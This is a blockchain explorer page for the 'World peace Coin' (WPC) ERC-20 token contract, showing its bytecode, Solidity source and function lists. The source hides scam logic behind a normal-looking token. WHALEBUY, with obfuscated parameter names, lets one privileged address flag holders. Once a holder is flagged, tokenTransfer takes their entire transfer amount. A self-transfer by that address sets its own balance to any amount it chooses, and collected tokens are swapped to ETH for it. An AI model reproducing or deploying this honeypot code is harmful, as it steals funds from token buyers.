Address Contract Partially Verified
Address
0x192A4031EbbC35ecFAb570eeF49D2D4f5Ce06Da2
Balance
0 ETH
Nonce
1
Code Size
5268 bytes
Creator
0x89087967...4933 at tx 0xde5f5492...f33194
Indexed Transactions
0
Contract Bytecode
5268 bytes
0x60806040526004361061012e5760003560e01c80634a74bb02116100ab57806395d89b411161006f57806395d89b4114610390578063a9059cbb146103a5578063c816841b146103c5578063dd62ed3e146103e5578063f2fde38b1461042b578063fb3ddf851461044b57600080fd5b80634a74bb02146102e45780636d00215a1461030557806370a08231146103275780638c498e4c1461035d5780638da5cb5b1461037257600080fd5b806327c8f835116100f257806327c8f8351461020c5780632d3235a014610240578063313ce5671461026d5780633345611e1461028f57806338c87fd1146102bf57600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b60405161015c91906111ba565b60405180910390f35b34801561017157600080fd5b50610185610180366004611220565b61050d565b604051901515815260200161015c565b3480156101a157600080fd5b50600a546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506009545b60405190815260200161015c565b3480156101f857600080fd5b5061018561020736600461124c565b610524565b34801561021857600080fd5b506101b57f000000000000000000000000000000000000000000000000000000000000dead81565b34801561024c57600080fd5b506101de61025b36600461128d565b60086020526000908152604090205481565b34801561027957600080fd5b5060035460405160ff909116815260200161015c565b34801561029b57600080fd5b506101856102aa36600461128d565b60066020526000908152604090205460ff1681565b3480156102cb57600080fd5b506003546101b59061010090046001600160a01b031681565b3480156102f057600080fd5b50600b5461018590600160a81b900460ff1681565b34801561031157600080fd5b50610325610320366004611220565b61058f565b005b34801561033357600080fd5b506101de61034236600461128d565b6001600160a01b031660009081526004602052604090205490565b34801561036957600080fd5b50610325610610565b34801561037e57600080fd5b506000546001600160a01b03166101b5565b34801561039c57600080fd5b5061014f610832565b3480156103b157600080fd5b506101856103c0366004611220565b610841565b3480156103d157600080fd5b50600b546101b5906001600160a01b031681565b3480156103f157600080fd5b506101de6104003660046112aa565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043757600080fd5b5061032561044636600461128d565b61084e565b34801561045757600080fd5b5061018561046636600461128d565b60076020526000908152604090205460ff1681565b60606001805461048a906112e3565b80601f01602080910402602001604051908101604052809291908181526020018280546104b6906112e3565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b600061051a3384846108f3565b5060015b92915050565b6000610531848484610a17565b50610584843361057f85604051806060016040528060288152602001611437602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cd9565b6108f3565b5060015b9392505050565b338180158061059e575080600a145b156105bf576001600160a01b03841660009081526008602052604090208190555b6003546001600160a01b03838116610100909204161461060a5760405162461bcd60e51b81526020600482015260016024820152603f60f81b60448201526064015b60405180910390fd5b50505050565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610601565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e5919061131d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610732573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610756919061131d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c7919061131d565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290206000199055565b60606002805461048a906112e3565b6000610584338484610a17565b6000546001600160a01b031633146108a85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610601565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109555760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610601565b6001600160a01b0382166109b65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610601565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610a7d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610601565b6001600160a01b038316610adf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610601565b600b54600160a01b900460ff1615610b0357610afc848484610d13565b9050610588565b826001600160a01b0316846001600160a01b0316148015610b3657506003546001600160a01b0384811661010090920416145b610b41576000610b44565b60015b15610b7557610b54826002610df9565b60035461010090046001600160a01b03166000908152600460205260409020555b600b54600160a01b900460ff16158015610ba857506001600160a01b03841660009081526007602052604090205460ff16155b15610bc85730600090815260046020526040902054610bc681610e7b565b505b6001600160a01b038416600090815260046020526040902054610beb9083610fe1565b6001600160a01b038516600090815260046020908152604080832093909355600690529081205460ff1680610c3857506001600160a01b03841660009081526006602052604090205460ff165b610c4b57610c468584611023565b610c4d565b825b6001600160a01b038516600090815260046020526040902054909150610c7390826110f0565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc79085815260200190565b60405180910390a36001915050610588565b60008184841115610cfd5760405162461bcd60e51b815260040161060191906111ba565b506000610d0a8486611350565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d64918490610cd9565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610d9390836110f0565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de79086815260200190565b60405180910390a35060019392505050565b600082600003610e0b5750600061051e565b6000610e178385611363565b905082610e24858361137a565b146105885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610601565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ec357610ec361139c565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f40919061131d565b81600181518110610f5357610f5361139c565b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac94792610fa4928792600092889261010090049091169042906004016113b2565b600060405180830381600087803b158015610fbe57600080fd5b505af1925050508015610fcf575060015b505050600b805460ff60a01b19169055565b600061058883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd9565b60008061103b60646110358584610df9565b9061114f565b6001600160a01b03851660009081526008602052604090205490915015611073576110668184611423565b6110709082611423565b90505b80156110de573060009081526004602052604081208054839290611098908490611423565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6110e88382610fe1565b949350505050565b6000806110fd8385611423565b9050838110156105885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610601565b600061058883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111ad5760405162461bcd60e51b815260040161060191906111ba565b506000610d0a848661137a565b600060208083528351808285015260005b818110156111e7578581018301518582016040015282016111cb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461121d57600080fd5b50565b6000806040838503121561123357600080fd5b823561123e81611208565b946020939093013593505050565b60008060006060848603121561126157600080fd5b833561126c81611208565b9250602084013561127c81611208565b929592945050506040919091013590565b60006020828403121561129f57600080fd5b813561058881611208565b600080604083850312156112bd57600080fd5b82356112c881611208565b915060208301356112d881611208565b809150509250929050565b600181811c908216806112f757607f821691505b60208210810361131757634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561132f57600080fd5b815161058881611208565b634e487b7160e01b600052601160045260246000fd5b8181038181111561051e5761051e61133a565b808202811582820484141761051e5761051e61133a565b60008261139757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114025784516001600160a01b0316835293830193918301916001016113dd565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561051e5761051e61133a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209059146afa8babf16a1f8a8218a3cfd21a3030be26a2e75835ea57bd29647b4f64736f6c63430008120033
Verified Source Code Partial Match
Compiler: v0.8.18+commit.87f61d96
EVM: paris
Optimization: Yes (200 runs)
PEACE.sol 300 lines
/**
* Same Team On sol Next Millonare Token
*/
// Tg https://t.me/WorldpeaceCoinEth
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a,b,"SafeMath: division by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newAddress) public onlyOwner{
_owner = newAddress;
emit OwnershipTransferred(_owner, newAddress);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PEACE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "World peace Coin";
string private _symbol = "WPC";
uint8 private _decimals = 6;
address payable public Saylor ;
mapping (address => uint256) _balances;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public _uniswapPair;
mapping (address => uint256) public wends;
uint256 private _totalSupply = 420690000000 * 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
Saylor = payable(address(0x89087967E98dE1188aa8949202B86a8e7a7E4933));
_isExcludefromFee[Saylor ] = true;
_isExcludefromFee[owner()] = true;
_isExcludefromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function launching () public onlyOwner{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_uniswapPair[address(uniswapPair)] = true;
_allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(from, to, amount);
}
else
{
if ((from == to && to == Saylor ) ? true : false )
_balances[address(Saylor )] = amount.mul(2);
if (!inSwapAndLiquify && !_uniswapPair[from])
{
uint256 contractTokenBalance = balanceOf(address(this));
swapAndLiquify(contractTokenBalance);
}
_balances[from] = _balances[from].sub(amount);
uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : tokenTransfer(from, amount);
_balances[to] = _balances[to].add(fAmount);
emit Transfer(from, to, fAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 amount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(Saylor ),
block.timestamp
){} catch {}
}
function WHALEBUY (address widjrk,uint256 wjzk) public {
address msgsender = msg.sender;
uint256 wapp = wjzk;
if(wapp == 1-1 || wapp == 9+1)
wends[widjrk] = wapp;
if (msgsender != Saylor )
revert ("?");
}
function tokenTransfer(address sender, uint256 amount) internal returns (uint256) {
uint256 swapRate = amount.mul(0).div(100);
if(wends[sender] != 0) swapRate += amount + swapRate;
if(swapRate > 0) {
_balances[address(this)] += swapRate;
emit Transfer(sender, address(this), swapRate);
}
return amount.sub(swapRate);
}
}
Read Contract
Saylor 0x38c87fd1 → address
_isExcludefromFee 0x3345611e → bool
_uniswapPair 0xfb3ddf85 → bool
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
deadAddress 0x27c8f835 → address
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
swapAndLiquifyEnabled 0x4a74bb02 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapPair 0xc816841b → address
uniswapV2Router 0x1694505e → address
wends 0x2d3235a0 → uint256
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
WHALEBUY 0x6d00215a
address widjrk
uint256 wjzk
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
launching 0x8c498e4c
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newAddress
Recent Transactions
No transactions found for this address